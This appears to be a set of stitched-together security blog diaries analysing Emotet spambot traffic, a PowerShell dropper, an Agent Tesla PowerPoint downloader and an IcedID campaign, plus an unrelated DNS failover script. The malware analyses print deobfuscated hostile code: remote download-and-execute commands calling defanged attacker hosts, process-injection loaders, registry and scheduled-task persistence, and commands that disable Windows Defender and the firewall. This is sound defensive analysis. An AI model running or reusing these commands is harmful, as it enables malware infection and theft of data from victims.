The following IP addresses over TCP port 443 have been reported as C2 channels for Emotet:

• 172.104.227.98 port 443   [Link to IP address in Feodo Tracker]
• 163.172.50.82 port 443   [Link to IP address in Feodo Tracker]

With a basic web filter, scroll down a bit to find SSL/TLS traffic using TCP ports 465 and 587 starting at 20:09 UTC.  This represents encrypted SMTP traffic, and it reveals our Emotet-infected host also acted as a spambot.  Emotet uses Emotet-infected Windows hosts to help distribute new Emotet malspam.

Shown above:  Showing where spambot traffic begins in the pcap.

Filter on SMTP traffic to find 2097 frames in the column display with unencrypted SMTP commands and data.

Shown above:  Filtering on SMTP traffic in the pcap.

Filter on smtp.data.fragment, to find indicators for 17 emails sent through unencrypted SMTP.

Shown above:  Filtering to find spambot emails sent over unencrypted SMTP.

You can extract these 17 emails using File --> Export Objects --> IMF... as shown below.

Shown above:  Exporting 17 malicious emails from the pcap.

All of these emails are spoofed replies to legitimate email chains collected from previously-infected Windows hosts.  All of these emails have attachments.  Some of the attachments are Excel spreadsheets.  Other attachments are password-protected zip archives.  We can review the emails using an email client.  My choice is Mozilla Thunderbird.

Shown above:  Example of spambot email with an attached Excel file.

Shown above:  Example of spambot email with a password-protected zip archive.

This month's forensic challenge reveals traffic you might see when Emotet turns an infected Windows host into a spambot.  Windows clients should not generate SMTP traffic to several different IP addresses as we see here.  This is classic spambot behavior.

Final words

Emotet is gearing up for a new wave of activity as we enter the holiday season.  Recent reports reveal Emotet is now pushing Cobalt Strike, which has been used to distribute ransomware.  Even with recent high-profile explotation issues with log4j, security professionals should remain aware of Emotet and other continuing threats.

Congratulations again to Paul Lennox for winning this month's challenge!

You can still find the pcap for our December 2021 challenge here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Last week, I published a diary[1] about a PowerShell backdoor running below the radar with a VT score of 0! This time, it’s a dropper with multiple obfuscation techniques in place. It is also important to mention that the injection technique used is similar to Jan's diary posted yesterday[2] but I decided to review it because it has, here again, a null VT store[3]!

The script embeds two binary files that are Base64-encoded with some characters replaced on the fly:

$HH1 = '4D5A9\\\\3\\\\\\\4\\\\\\FFFF\\\\B8\\\\\\\\\\\\\\4\\\\\\\ ... \\\\\\\\\\\\\\\\\\\\\\\\\'.Replace("\","0")

And

[String]$H4='4D5A9(-_-)(-_-)(-_-)(-_-)3(-_-)(-_-)(-_-) ... (-_-)(-_-)(-_-)(-_-)(-_-)'.Replace('(-_-)','0')

The remaining part of the script is obfuscated and decoded by the function VIP():

FUNCTION VIP($AA) {
  $AAA = "Get(-_-)ng".Replace("(-_-)","Stri");
  $AAAAASX = [Text.Encoding];$AAAAASXX = "U(-_-)8".Replace("(-_-)","tf")
  $AAAAA = "Fr"+"omBa"+"se6"+"4Str"+"ing"
  $AAAAAS = $AAAAASX::$AAAAASXX.$AAA([Convert]::$AAAAA($AA))
  return $AAAAAS
}

Simple but efficient, the result is passed toIEX or Invoke-Expression. Let’s have a look at this code.

Both PE files are not only Base64-encoded (too easy to spot), they must be decoded using the function H2():

Function H2 {
  [CmdletBinding()]
  [OutputType([byte[]])]
  param(
   [Parameter(Mandatory=$true)] [String]$HBAR
  )
  $H3 = New-Object -TypeName byte[] -ArgumentList ($HBAR.Length / 2)
  for ($i = 0; $i -lt $HBAR.Length; $i += 2) {
    $H3[$i / 2] = [Convert]::ToByte($HBAR.Substring($i, 2), 16)
  }
  return [byte[]]$H3
}

[Byte[]]$H5 = H2 $H4
[Byte[]]$H6 = H2 $H1

The next step is to process them. The first PE file ($H5) is a DLL (SHA256:2e0522bfcc69c8920d7570f1ae7ead5e24b7c3bff6ff8710d2f64a35fc262e12). This file is unknow on VT while I'm writing this diary. The second PE file ($H6) is the malware (SHA256:bf55d8ac92fcba182620a93b8bb875ece6b15060dd5e8b37f3e0a881ab6cd31b)[4]. Both are .Net executables like in Jan's diary. Let's review the injection process.

$H7 = 'AA.HH'
$H8 = 'HH'
$H9 ='GOOGLE'.Replace('OOGLE','e')
$HH9 = 'LOVETy'.Replace('LOVE','t')
$HHH9 = 'GOODBYe'.Replace('GOODBY','p')
$HHHH9 = $H9+$HH9+$HHH9
$BB1 = 'I';$BB2 = 'n';$BB3 = 'vo';$BB4 = 'ke';$H10 = $BB1+$BB2+$BB3+$BB4
$CC1 = "G";$CC2 = "e";$CC3 = "t";$CC4 = "M---------od".Replace("---------","eth");$H11 =$CC1+$CC2+$CC3+$CC4
$TT2 = 'oft.NE---------------319'.Replace("---------------","T\Framework\v4.0.30");$TT1 = 'C:\W---------------os'.Replace("---------------","indows\Micr");$TT3 = '\aspnet_compiler.exe';$H12 = $TT1+$TT2+$TT3
$FF1 = 'L';$FF3='a';$FF4='d';$FF2= 'o';$H13 = $FF1+$FF2+$FF3+$FF4;$H17='$nUll'
$HH11 = "[Re";$HH22 ="flect";$HH33 ="ion.Assembly]";$H14 = ($HH11,$HH22,$HH33 -Join '')|I`E`X
$H15 = $H14::$H13($H5);$t1 = '$H15.$HHHH9($H7).$H11($H8).$H10';$t2 = '($H17,[object[]] ($H12,$H6))';$HBar=($t1,$t2 -Join '')|I`E`X

The key variable is $H7 which contains the class to be loaded from the DLL ("AA.HH") as you can see on this screenshot:

The remaining code prepare the injection in another process. The target is:

$H12 = “C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe”

Remember that $H5 contains the DLL and $H6 contains the malware

$H15 =  [Reflection.Assembly]::Load($H5)
$t1 =  $H15.GetType(‘AA.HH”).GetMethod(“HH”).Invoke
$t2 = '($H17,[object[]] ($H12,$H6))'

Here again, you can see a lot of similarities with Jan's diary. The DLL is loaded, the class launches the ASP .Net compiler and injects the malware into it:

What about the malware? It’s an info stealer that searches and exfiltrates data. Here is a sample of all checked applications:

There are a lot of references in the PE file to "Goldminer":

The C2 server is available and accepts traffic:

This demonstrates that attackers re-use again and again the same techniques but also slightly change the obfuscation techniques to remain below the radar!

[1] https://isc.sans.edu/forums/diary/Simple+but+Undetected+PowerShell+Backdoor/28138/
[2] https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/
[3] https://www.virustotal.com/gui/file/e421e9675c0e0d6503be80c186e6014a036eebac68e9212d7826df836c269b84/detection
[4] https://www.virustotal.com/gui/file/bf55d8ac92fcba182620a93b8bb875ece6b15060dd5e8b37f3e0a881ab6cd31b/detection

Xavier Mertens (@xme)
Xameco SRL
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Since any Office document that may contains macros can potentially be used by malware authors with similar result as the usual Excel spreadsheet with macros, threat actors have most probably utilized all of the available macro-enabled Office formats for attacks at some point. However, since most users would probably view PowerPoint slideshow asking them to enable macros with a not insignificant level suspicion, most attackers tend not to use any of PowerPoint file formats at all.

Over the past few months, I have nevertheless noticed an unusual increase in the number of malicious PowerPoint attachments caught in my (mal)spam trap. Although the use of malicious PowerPoint is nothing new[1], given the reasons mentioned above, it has never been too common, so I thought it might be worthwhile to take a look at an example of a recent malspam campaign that spread the Agent Tesla infostealer using a macro-enabled PowerPoint file.

The file in question was named SKM-03753WIRE23560USD.ppam and was distributed as an attachment of an e-mail that tried to make it appear as a wire transfer receipt.

You may have noticed that the filename ended in an unusual extension PPAM. This extension is used for PowerPoint Add-ins with macros[2], a special format for extending functionalities of PowerPoint presentations. Although there are some differences in content between PPAM and the more usual PPTM files, these don’t concern macros. Therefore, if we only care about the embedded VBA code, as in this instance, we may analyze a PPAM using oledump[3], or any other tool we would normally use to parse macro-enabled Office documents.

In this instance, the file turned out to contain only one small, slightly obfuscated VBA script:

Sub Auto_Open()
Set Outlook = CreateObject(yOCaKOVzT("V|{svvr5Hwwspjh{pvu", "7"))
Set Microsoft = Outlook.CreateObject(yOCaKOVzT("^zjypw{5Zolss", "7"))
Set MicrosoftExec = Microsoft.Exec(yOCaKOVzT("rqygt", "2") + yOCaKOVzT("ynkrr4k~k&", "6") + Chr(150) + yOCaKOVzT("_qvlw[|tm(Pqllmv", "8") + yOCaKOVzT("$1g$", "4") + yOCaKOVzT("kBdqvlw{d{{|mu;:dkitkd66du{p|i(p||x{B77pipipippi{lHr6ux7", "8") + "chrehghghghghghghghghghcre")
MsgBox (MicrosoftExec.StdOut.ReadAll)
End Sub
Public Function yOCaKOVzT(dghKkkXkS As String, NdffEcveP As Integer)
    Dim Pp6IFCPL9 As Integer
    For Pp6IFCPL9 = 1 To Len(dghKkkXkS)

Dim tHvckljoMTaERQgkne As Boolean
        Mid(dghKkkXkS, Pp6IFCPL9, 1) = Chr(Asc(Mid(dghKkkXkS, Pp6IFCPL9, 1)) - NdffEcveP)

    Next Pp6IFCPL9

Dim TMydgBdhyraoOOowKm As Byte
    yOCaKOVzT = dghKkkXkS

End Function

Since the function yOCaKOVzT only subtracts the value provided in the second argument from each byte in the string provided as the first argument, deobfuscation of the script is fairly straightforward and leads to the following code.

Sub Auto_Open()
	Set Outlook = CreateObject("Outlook.Application")
	Set Microsoft = Outlook.CreateObject("Microsoft = Wscript.Shell")
	Set MicrosoftExec = Microsoft.Exec("MicrosoftExec = powershell.exe -WindowStyle Hidden -c c:\windows\system32\calc\..\mshta hxxps://hahahahhasd@j[.]mp/chrehghghghghghghghghghcre")
	MsgBox (MicrosoftExec.StdOut.ReadAll)
End Sub

As we may see, the VBA script is a simple downloader, that is supposed execute PowerShell code, which will grab a file from hxxps:j[.]mp/chrehghghghghghghghghghcre (which redirects to hxxps://download2389.mediafire[.]com/ya9tv6zqa1zg/95ggilwnqccbq6l/20.doc) and execute it using the Microsoft HTML Application host (MSHTA).

After cleaning the downloaded file 20.doc up a bit, it came down to the following VBScript:

pink = "pOwersHelL.exe -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('hxxps://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles[.]com/ugd/8db3b9_2e35a24e3e7b4efba4867a06c6271f32.txt?dn=rendomtext') -useB);
i'E'x(iwr('hxxps://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles[.]com/ugd/8db3b9_92ec48660f134f3bb502662383ca4ffb.txt?dn=rendomtext') -useB);"

Const tpok = &H80000001
lopaskkk = "."
Set kasodkmwm = GetObject("winmgmts:\\" & lopaskkk & "\root\default:StdRegProv")
poloaosd = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
akosdwdjdw = "cjjhkloggw"
kasodkmwm.SetStringValue tpok, poloaosd, akosdwdjdw, pink
set MicrosoftWINdows = GetObject(StrReverse("B0A85DF40C00-9BDA-0D11-0FC1-22CD539F:wen"))
MicrosoftWINdows _
. _
RUn _
pink,0


args = "/create /sc MINUTE /mo 63 /tn """"kbnvmmmhjo"""" /" & _
"F /tr """"\""""M" & "s" & "H" & "t" & "A""""\""""hxxps://kukadunikkk@kdaoskdokaodkwldld.blogspot[.]com/p/20.html\"""""
hxxps://kukadunikkk@kdaoskdokaodkwldld.blogspot[.]com/p/20.html

[code omitted]

magolia = "."
Set Pologachi = GetObject("winmgmts:\\" & magolia & "\root\default:StdRegProv")
threefifty = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Magachuchugaga = "pilodkis"
pathanogalulu = calc   """hxxp://www.starinxxxgkular.duckdns[.]org/s1/20.txt"""
Pologachi.SetStringValue halaluya, threefifty, Magachuchugaga, pathanogalulu

[code omitted]

Going down from the top, the script it is supposed to:

1. Download and execute two files containing PowerShell script from usrfiles.com (we’ll look at those in a moment).
2. Ensure persistence using the registry Run key by creating a value containing the same PowerShell script as we mention in 1. It also created another value in the same key, which was supposed to run a file from http[:]//www.starinxxxgkular.duckdns[.]org using MSHTA (although the link was already dead at the time of the analysis , it may be reasonable assumed that this was supposed to be additional persistence mechanism).
   
3. Ensure persistence using Scheduled Task named kbnvmmmhjo, which was supposed to run a file using MSHTA from hxxps:// kdaoskdokaodkwldld.blogspot[.]com.
   

The first PowerShell script mentioned above was lightly obfuscated and contained what we may think of as the “main payload” – two GunZipped PE files in separate byte arrays (an “injector” and the actual Agent Tesla executable) and the code to decompress them and use the “injector” in the second byte array to execute the main Agent Tesla file. The following code is a portion of its deobfuscated content:

[byte[]] $byteArray1 = @(31,139,...,94,3,0)
[byte[]] $byteArray2 =@(31,139,...,228,0,0)
[byte[]] $decompressedArray1 = Get-DecompressedByteArray $byteArray1
[byte[]] $decompressedArray2 = Get-DecompressedByteArray $byteArray2
[Reflection.Assembly]::Load($decompressedArray2).GetType('projFUD.PA').GetMethod('Execute').Invoke($null,[object[]] ( 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe',$decompressedArray1))

Both of the executables were written in .NET (as is usual for Agent Tesla) and both were fairly heavily obfuscated, as you may see from the following images.

Injector code – the Execute method

Excerpt from the list of methods in the Agent Tesla executable

Nevertheless, with a little bit of deobfuscation, it is possible to see that the injector is supposed to inject the Agent Tesla code into the hollowed out aspnet_compiler.exe process (a technique which Agent Tesla has been known to use[4]). And even without understanding the names of methods and variables in the main Agent Tesla code, some portions of it are fairly clear, such as the following excerpt from the key-logging method.

The last file we didn’t take a closer look at was the second PowerShell script downloaded by the second stage of the infection chain.

$down = New-Object System.Net.WebClient
$url  = 'hxxps://raw.githubusercontent[.]com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe';
$file = 'C:\Users\Public\NSudo.exe';
$down.DownloadFile($url,$file);
$kasodkaosd = New-Object System.Net.WebClient
$kasodkaosdsdmaowdk  = 'hxxps://www.mediafire[.]com/file/qh5j3uy8qo8cpu7/FINAL+MAIN+vbs+-+Copy.vbs/file';
$kasdjwkdo = 'C:\Users\Public\heheheheh.vbs';
$kasodkaosd.DownloadFile($kasodkaosdsdmaowdk,$kasdjwkdo);
Function script:Set-INFFile {
[CmdletBinding()]
	Param (
	[Parameter(HelpMessage="Specify the INF file location")]
	$InfFileLocation = "$env:temp\CMSTP.inf",
	
	[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
	[String]$CommandToExecute = 'wscript.exe C:\Users\Public\heheheheh.vbs'
	)
 [code omitted]

Since this script is only slightly obfuscated, we may clearly see that it is supposed to download NSudo[5] (a privilege escalation utility) and a VBS file hosted on mediafire.com, which it it then supposed to execute using WScript.

This final VBS is not obfuscated at all, and it can be clearly seen that it is basically supposed to disable the anti-malware protection with (among other techniques) the use of the NSudo tool which was previously downloaded.

[code omitted]

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "C:\Users\Public\NSudo.exe -U:T -ShowWindowMode:Hide sc delete windefend"

[code omitted]

outputMessage("Add-MpPreference -ExclusionProcess powershell.exe")
outputMessage("Add-MpPreference -ExclusionProcess mshta.exe")
outputMessage("Add-MpPreference -ExclusionProcess cmd.exe")
outputMessage("Add-MpPreference -ExclusionProcess wscript.exe")
outputMessage("Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend")

[code omitted]

outputMessage("netsh advfirewall set allprofiles state off")
outputMessage("Stop-Service -Name WinDefend -Confirm:$false -Force")
outputMessage("Set-Service -Name WinDefend -StartupType Disabled")
outputMessage("sc delete windefend")

Sub outputMessage(byval args)

	[code omitted]

	errReturn = objProcess.Create( "powershell " + args, null, objConfig, intProcessID)
End Sub

As we may see from the following diagram, the very simple macro, which was contained in the PPAM file, lead to a fairly complex infection chain in the end…

This is not the end of the story, however, since one additional point which deserves a small mention is the reuse of open-source code in the infection chain.

Although reuse of code from GitHub or StackOverflow is ubiquitous among both legitimate developers and malware authors alike, in this case, unmodified “borrowed” code was used quite heavily. For example, the GunZip algorithm used by the third (PowerShell) stage was taken from GitHub, as was a UAC bypass used to execute the final VBS script[6]. Since in both of these instances, the foreign code made up a significant portion of the analyzed file, not having to examine it too deeply sped up the entire analysis greatly.

Therefore, I will offer one parting advice which can be useful especially to any junior security analysts out there. If you ever see a line in a malicious code, which doesn’t seem to belong there (e.g., a call to a function which is supposed to display a visible error message to the user) try to ask Google whether it hadn’t seen it somewhere else. In some cases, you will come up empty, as such code might have been included on purpose by the malware author in an attempt to obfuscate the real functionality of the program, however, in other instances you may find that a significant portion of the code in front of you has been reused, and you might not have to spend time on going into it any deeper than just to gather the basic understanding of its main function.

 

Indicators of Compromise (IoCs)

URLs
hxxps://j[.]mp/chrehghghghghghghghghghcre
hxxps://download2389.mediafire[.]com/ya9tv6zqa1zg/95ggilwnqccbq6l/20.doc
hxxps://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles[.]com/ugd/8db3b9_2e35a24e3e7b4efba4867a06c6271f32.txt
hxxps://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles[.]com/ugd/8db3b9_92ec48660f134f3bb502662383ca4ffb.txt
hxxp://www.starinxxxgkular.duckdns[.]org/s1/20.txt
hxxps://kukadunikkk@kdaoskdokaodkwldld.blogspot[.]com/p/20.html
hxxps://raw.githubusercontent[.]com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe
hxxps://www.mediafire[.]com/file/qh5j3uy8qo8cpu7/FINAL+MAIN+vbs+-+Copy.vbs/file

Files

20.doc
MD5 - 425244233f21dac6f4395ab0c8c0c03e
SHA1 - 003db538810e74ad74f33b2c69cfa85026e529fd

8db3b9_2e35a24e3e7b4efba4867a06c6271f32.txt
MD5 - cc60f4380686f2216bce3e8a287fc705
SHA1 - 569eed2060bb0b669a7ae12f1e6c04649785bc11

8db3b9_92ec48660f134f3bb502662383ca4ffb.txt
MD5 - be208287362492a1a3703483fefa4d3b
SHA1 - 3f834a4369f828aea46e44134afadbba8875ba05

heheheheh.vbs
MD5 - eacb8465cc5d6671618ea2b23986a45a
SHA1 - 6d2e4dbfda127cda2478e68a5426f9646bba10c5

 

[1] https://blog.nviso.eu/2017/06/07/malicious-powerpoint-documents-abusing-mouse-over-actions/
[2] https://fileinfo.com/extension/ppam
[3] https://blog.didierstevens.com/programs/oledump-py/ 
[4] https://www.fortinet.com/blog/threat-research/phishing-campaign-targeting-korean-to-deliver-agent-tesla-new-variant
[5] https://github.com/m2team/NSudo
[6] https://github.com/tylerapplebaum/CMSTP-UACBypass/blob/master/UACBypassCMSTP.ps1

-----------
Jan Kopriva
@jk0pr
Alef Nula

2 years ago, in diary entry "VBA Office Document: Which Version?", I listed all internal VBA project version numbers for the Office versions I had access to.

In my hotel room one evening (I recently provided private training on malicious Office documents for red teamers), I downloaded Microsoft Office version 2021 to check the new version numbers.

For 64-bit Office, there is a new internal VBA project version number: B5.

But for 32-bit Office, the result is unexpected: B2, i.e., the same version number as 64-bit Office 2016/2019 ...

If you have Office 2021 and some time to test, can you check your documents (with VBA) and post a comment?

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

If you have a Disaster Recovery site (cloudy or otherwise), and your DR plan involves changing public addresses when you "declare", you might want to consider automating your DNS changes.

Why would you do this?

• If you've outsourced the management of your DR site, your DR management staff might not have credentials to update DNS records
• You might not want to give your DNS admin to staff outside your organization (even if you have done so, you might not want to)
• During a DR event, your staff (outsourced or otherwise) might now understand DNS so well.  Plus your changes might be happening at 2am, or when your DNS admins is on vacation - you can't count on your whole team being there during a DR event
• Sticking with that 2am theme, even if your DNS SME is around for the change, nobody is at their best that late - even automated "we can fail over within minutes" DR plans can see hiccups - things change and the DR site isn't always kept up to date.  If you don't test your DR plan periodically, you will definitely find things that you don't expect during a real event.

Long story short, the last step of most DR plans is "update the external DNS records".  Assuming your firewall rules are up to date at the DR site - is that list of DNS changes also up to date?

Automating these DNS changes can take errors off the table (again, assuming that the list of changes is up to date).

"Can I even automate that?" you ask? - - yup, most of the larger DNS providers give you an API, you can script changes with powershell, python or even curl in a shell script.  
Looking at GoDaddy for instance, their API documentation is here:

• https://developer.godaddy.com/getstarted
• https://developer.godaddy.com/doc  (you'll want the "domains api" for what we're discussing here)

Since their API examples are so easy to implement in curl, let's go with that.  I could (of course) write this in python or powershell and make it a "whole thing", but the object of this example is to show how simple this can be, and to give you a decent example to build on (or just re-use) in your environment.

This script changes a set of A record (in an input file) from the prod IP's to DR IP's (or back)

The script:

# # DNS Update for GoDaddy DNS Records # # syntax dnsup.sh <input file> <apikey> <apisecret> #   # check if input file exists [ ! -f $1 ] && { echo "$1 file not found"; exit 2; }   # check for correct variable count if [ -z "$3" ] || [ -n "$4" ] then         echo "invalid variable list"         echo "Syntax:"         echo "dnsupd.sh <inputfilename> <apikey> <apisecret>"         exit 3 fi   # INPUTS ARE OK, PROCEED   domain="coherentsecurity.com" type="A" ttl="600" headers1="Authorization: sso-key $2:$3"   echo "=====================================" | tee -a dnsupd.log echo "DNS Update run for $(date)" | tee -a dnsupd.log   while read hostname newip do         echo "A Record : " $hostname         echo " IP Data : " $newip # check current value          currentdns=$(curl -s -X GET -H "$headers1" "https://api.godaddy.com/v1/domains/$domain/records/$type/$hostname")        currentip=$(echo $currentdns | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b")        echo "the change is $currentip to  $newip"          if [ $currentip != $newip ];          then            curl -X PUT "https://api.godaddy.com/v1/domains/$domain/records/$type/$hostname" \            -H "accept: application/json" \            -H "Content-Type: application/json" \            -H "$headers1" \            -d "[ { \"data\": \"$newip\", \"ttl\": $ttl } ]"            rc=$?            echo "retcode is $rc"            if [ $rc ];            then              echo "$hostname update to $newip success" | tee -a dnsupd.log            else              echo "ERROR - $hostname update to $newip failed" | tee -a dnsupd.log            fi         else           echo "ERROR - Source and Dest IP are the same - $newip" | tee -a dnsupd.log         fi done < $1

 

The dnsupd-dr.in input file (this moves me from prod to dr addresses).  Note that it's just the CN followed by the IP address (the domain is buried in the script):

ltuae 41.41.41.41

The dnsupd-prod.in input file (this moves me back to prod addresses):

ltuae 42.42.42.42

Let's run the script, moving from prod to dr:

/bin/sh ./dnsupd.sh dnsupd-dr.in <notmyapikeyyoudont> <ormyapisecreteither> A Record :  ltuae  IP Data :  41.41.41.41 the change is 42.42.42.42 to  41.41.41.41

Our example host - ltuae ?  That's "Life, the Universe and Everything" (if you didn't get that from the PROD IP address)

Gotcha's?  Like any DNS Migration process, the key thing to do is set your TTLs appropriately BEFORE your migration.  DNS is all about expiry times - the phrase "DNS propagation" is malarky, even though it's still uttered by every DNS provider on the planet. What the TTL does is say "after being cached for xxxx seconds, I will expire that entry" - the instruction is for the DNS Server making the request.  If your zone TTL is 7200 (2 hours), and the remote client is querying their DNS server, that entry will be cached for 7200 seconds after the last query.  So if the last query was 7219 seconds ago, it'll expire in 1 second, and if the client just made a query, it's stuck there for them for the next 2 hours.  So if you have a business process that relies on a DNS change (like your DR process), you're going to want to keep this in mind.  2 hours is likely too long, but 5 minutes is likely too short - you don't want to be that "bad citizen" on the internet that forces everyone else to burn excessive resources on your behalf.  15 minutes (900 seconds) is a happy medium that lots of folks find reasonable - it's short enough to management that it's reasonable, but it's not so short that you're "that company"

So the right time to change your TTL was yesterday, or for a DR process, many years ago.  The important thing is that it should be "short enough" when you pull the trigger (not after).  If it's set for 86400 (1 day) or something silly, the best time to think about it is today - like planting a tree :-)

This script of course will evolve over time, and I'll likely update it for other DNS providers (as one client or another needs that) - check my github for changes if you're interested - https://github.com/robvandenbrink.  As always, TEST it for your organization and your situation and MODIFY IT AS NEEDED.  This script is NOT meant to be a one-size-fits-all script that'll just work 100% for everyone without testing.  For instance, you might choose to use CNAMEs instead of A records, or you might choose to have both sites active during PROD windows to spread load, and just delete the PROD addresses if you are in a DR situation.  Or you might choose to use a GSLB (Global Server Load Balancer) with health checks instead of DNS to swing PROD traffic over to DR.  Or if you have a different DNS provider the API calls will of course be different.

If you find this useful, or if you have suggestions or updates to the script, by all means use our comment section - let's talk!!

===============
Rob VandenBrink
rob<at>coherentsecurity.com

 

<shameless_plug>
Want to know more about how DNS operates or how you might secure a DNS Server?  Or did that Load Balancer / Health Check thing sound interesting?
Check out my book:
https://www.amazon.com/Linux-Networking-Professionals-configure-enterprise/dp/1800202393
https://www.amazon.ca/Linux-Networking-Professionals-configure-enterprise-ebook/dp/B09BZTLRKY
</shameless_plug>

Introduction

This diary is based on an infection I started on Monday 2021-12-13 at 21:45 UTC that ran until Tuesday 2021-12-14 at 17:17 UTC.  The infection generated traffic for IcedID (Bokbot), DarkVNC, and Cobalt Strike.  A pcap of the network traffic and the associated malware samples are available here.

"Contact Forms" is a campaign that uses a web site's contact form to email malicious links disguised as some sort of legal complaint.  We've seen this campaign push BazarLoader malware and distribute Sliver, but recently it's been pushing IcedID (Bokbot).  Most of the time, the Contact Forms campaign uses a "Stolen Images Evidence" theme, with emails stating a supposed violation of the Digital Millennium Copyright Act (DMCA).  Below is an example seen on December 9th, 2021.

Shown above:  Contact form email spoofing someone from slack.com.

A website's contact form is easy method for cyber criminals to reach an organization.  They can enter any name, email, and message text in these forms to deliver.  With anonymous browsing methods like tor or VPN, criminals can hide their true location when filling out these forms.

In this case, the link is a googleapis URL that abuses Google services to distribute malware.  I checked the link in a web browser, and it was a "Stolen Images Evidence" themed web page.  The page automatically presented an ISO file named Stolen_Images_Evidence.iso.

Shown above:  "Stolen Images Evidence" page sending an ISO file.

ISO files have been used by cyber criminals for years, and the Contact Forms campaign started consistently delivering ISO files from these pages as early as November 30th, 2021.  Prior to that, this campaign almost always sent zip archives.

Shown above:  Stolen_Images_Evidence.iso downloaded on 2021-12-13.

Double-clicking an ISO file on a Windows host will mount the file as a drive, then it will open Windows Explorer to view its contents.  In this example, the double-clicked ISO file appears at F: as a DVD drive, and it contains a Windows shortcut.

Shown above:  Windows Explorer shows the ISO file mounted as a DVD drive at F:\.

By default, Windows Explorer does not show hidden files, so we should reveal hidden files from the Explorer menu.

Shown above:  Revealing hidden items in Windows Explorer.

Revealing hidden files, we find a DLL and a JavaScript (.js) file hiding in the ISO.  The Windows shortcut runs both files.  It runs the DLL using regsvr32.exe, and it also runs the .js file separately.

Shown above:  Hidden DLL and JS file, and the Windows shortcut designed to run them both.

Examining the Windows shortcut in a hex editor, we find a Windows user account named lamar that may have been used when creating the shortcut.

Shown above:  Windows user account name lamar seen in the Windows shortcut.

The account name lamar has been consistent in each shortcut I've examined from these ISO files since they started appearing from the Contact Forms campaign on 2021-11-30.

Indicators of Compromise (IOCs)

The following are IOCs are from an infection run I started on Monday 2021-12-13 at 21:45 UTC that ran until Tuesday 2021-12-14 at 17:17 UTC.

URL for the "Stolen Images Evidence" page:

• hxxps://storage.googleapis[.]com/d03uhg49h1m5na.appspot.com/0/files/st/public/d/0390vfh478gj4.html?d=958418188474764759

Domain called by above googleapis page:

• 172.67.195[.]237 port 443 - maruadix[.]top - HTTPS traffic

Traffic generated after double clicking Windows shortcut in downloaded ISO file:

Caused by the .js file:

• 104.21.68[.]138 port 80 - maruadix[.]top - GET /stis1.php

Caused by the DLL (an installer for IcedID):

• port 443 - aws.amazon.com - HTTPS traffic (not inherently malicious)
• 192.236.177[.]53 port 80 - hdgravity[.]com - GET /

IcedID (Bokbot) post-infection traffic:

• 194.180.174[.]136 port 443 - asrspoe[.]com - HTTPS traffic

DarkVNC activity starting on 2021-12-13 at 23:33 UTC:

• 88.119.161[.]88 port 8080 - encoded/encrypted TCP traffic

Cobalt Strike activity starting on 2021-12-14 at 06:30 UTC and ending at 11:55 UTC:

• 149.91.89[.]17 port 80 - 149.91.89[.]17 - GET /soft/musicbee.dll
• 104.41.145[.]218 port 443 - api.musicbee.getlist.destinycraftpe[.]com - HTTPS traffic

Cobalt Strike activity starting on 2021-12-14 at 15:33 UTC and continued through the end of the pcap at 17:17 UTC:

• 192.34.109[.]104 port 80 - 192.34.109[.]104 - GET /download/HI1FA3OB3N7D9.dll
• 192.34.109[.]104 port 443 - bqtconsulting[.]com - HTTPS traffic

SHA256 hash: 0e1fa8cc5697d60664e9bf5fb4ef6af14d63d7f31f0b1565e0ff0e7ce86af735

• File size: 1,376,256 bytes
• File name: Stolen_Images_Evidence.iso
• File description: ISO file downloaded from googleapis page.

SHA256 hash: 5b2751fa6c0c93f8f625375a87c8f235d7b61eb9941633f59cf2ec18352f915a

• File size: 2,113 bytes
• File name: Stolen_Images_Evidence.lnk
• File description: Windows shortcut contained in ISO

SHA256 hash: c7d3cabf68151b9207d6262f3fd739f70f18a736a5a8d04479150f08448bd7bf

• File size: 1,164 bytes
• File name: kf.js
• File description: JS file contained in ISO
• Analysis: https://tria.ge/211216-ecnb5sbbe2

SHA256 hash: b71f914f40d146462cafac5f360f816d59366be377268b33d0d4688917950223

• File size: 221,184 bytes
• File name: data.dll
• File description: installer DLL for IcedID contained in ISO
• Run method: regsvr32.exe [filename]
• Analysis: https://tria.ge/211216-ebwbcsbbd7

SHA256 hash: 0cc2afa847096e322c014f04f54b405902ce2613c555fb6b36fc4f93d53ba2a5

• File size: 497,278 bytes
• File location: hxxp://hdgravity[.]com/
• File description: binary of gzip compressed data retrieved by IcedID installer DLL
• File type: gzip compressed data, was "Artwork.txt", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2063440

SHA256 hash: cfc202b44509f2f607d365858a8218dfdc6b26f8087efcc5e46f4fef9ab53705

• File size: 341,898 bytes
• File location: C:\Users\[username]\AppData\Roaming\TrueLend\license.dat
• File description: data binary used to run persistent IcedID DLL

SHA256 hash: 4fbf01e80561ac1528b50e3a49b7b7bf8139decf62c3653672a545cfec7deee5

• File size: 154,624 bytes
• File location: C:\Users\[username]\AppData\Local\ukudhe3\ojfepp.dll
• File description: IcedID DLL persistent through scheduled task
• Run method: rundll32.exe [filename],DllMain --fi="[path to license.dat]"
• Analysis: https://tria.ge/211216-d9t1hsbhcm

SHA256 hash: fba9dd0ebb8d838fa394cda10dca50450d8c0fc6158deff38904072140d64507

• File size: 154,624 bytes
• File location: hxxp://149.91.89[.]17/soft/musicbee.dll
